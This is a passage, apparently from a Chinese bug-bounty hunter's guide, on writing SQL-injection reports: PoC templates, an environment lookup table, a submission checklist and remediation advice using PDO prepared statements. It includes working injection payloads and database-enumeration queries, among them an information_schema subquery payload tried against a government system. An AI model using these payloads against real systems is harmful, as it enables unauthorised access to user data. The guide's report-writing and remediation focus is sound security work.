{i-1}) break运行结果直接告诉我列数比手动试快十倍。同理爆库名脚本用for db in [information_schema,mysql,target_db]:循环避免遗漏。6.3 HTTP请求模板库——标准化PoC输出我维护一个Markdown模板库每次复现直接复制### PoC 1错误回显验证 **URL**: GET /api/user?id1 **Request**: http GET /api/user?id1 HTTP/1.1 Host: target.com ...Response:HTTP/1.1 500 Internal Server Error ... MySQL Error: You have an error in your SQL syntax...分析: 单引号未过滤错误信息未屏蔽。模板里预置了HTTP/1.1头、常见响应状态码、分析话术填空即可杜绝描述随意性。 ### 6.4 环境信息速查表——避免复测翻车 | 项目 | 查找方式 | 示例 | |------|----------|------| | PHP版本 | curl -I http://target.com | grep X-Powered-By | X-Powered-By: PHP/7.4.33 | | MySQL版本 | SELECT VERSION() | 5.7.31 | | 数据库名 | SELECT DATABASE() | app_db | | 当前用户 | SELECT USER() | weblocalhost | | 文件权限 | SELECT secure_file_priv | /var/lib/mysql-files/ | 这张表我存在Notion里复测前5秒调出比现场查快得多。 ### 6.5 审核员视角自查清单——提交前最后一遍核对 每份报告提交前我必过这七关 1. ✅ PoC请求是否含完整HTTP头Host、User-Agent、Cookie 2. ✅ 响应是否截取关键错误信息而非整页HTML 3. ✅ PHP代码片段是否脱敏数据库名、密码、IP地址替换为[REDACTED] 4. ✅ 危害描述是否分级CVSS 9.8严重7.5高危 5. ✅ 修复建议是否具体到函数名PDO::prepare而非“用预处理” 6. ✅ 是否注明测试环境PHP 7.4 MySQL 5.7 7. ✅ 附件是否压缩为ZIP含README.md说明各文件用途 漏一项退回概率超80%。去年我因忘写CVSS评分报告卡在复测环节两周。 ## 7. 经验沉淀十年挖洞我总结出的三条铁律 第一条铁律**漏洞价值不取决于技术难度而取决于业务影响**。 我挖过一个极其复杂的二次注入先存库再触发花了三天才复现奖金2000元也挖过一个/api/search?q的简单报错注入两小时搞定因影响全站搜索奖金15000元。所以报告里一定要写清楚“此接口日均调用量200万次涉及用户手机号、订单号等敏感信息攻击者可批量导出全部用户数据”。把技术语言翻译成业务语言审核员才看得懂分量。 第二条铁律**永远假设开发看不懂SQL要用他熟悉的代码说话**。 别写“建议使用参数化查询”写“将第45行$sql SELECT * FROM user WHERE id .$_GET[id]改为$stmt $pdo-prepare(SELECT * FROM user WHERE id ?); $stmt-execute([$_GET[id]]);”。我甚至会附上PHP官方文档链接让开发一键跳转。有次开发回复“按您改完测试通过谢谢”——这才是有效沟通。 第三条铁律**报告不是终点是协作起点**。 我所有报告结尾都加一句“如需协助复测或提供详细日志请随时联系。愿与贵司安全团队共同提升防护水位。”去年有家公司主动邀请我参加他们的安全培训分享这份报告的写作逻辑。真正的安全不是对抗是共建。 最后说个实在的别信“万能密码”能走遍天下。上周我测一个新上线的政务系统 or 11完全无效但 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schemadatabase())10-- 触发了500错误——因为系统对布尔值做了严格校验但对子查询没设限。漏洞永远在变化唯一不变的是**扎实的HTTP协议理解、细致的PHP代码审计能力、以及一份让所有人看得懂的报告**。这三样比任何工具都管用。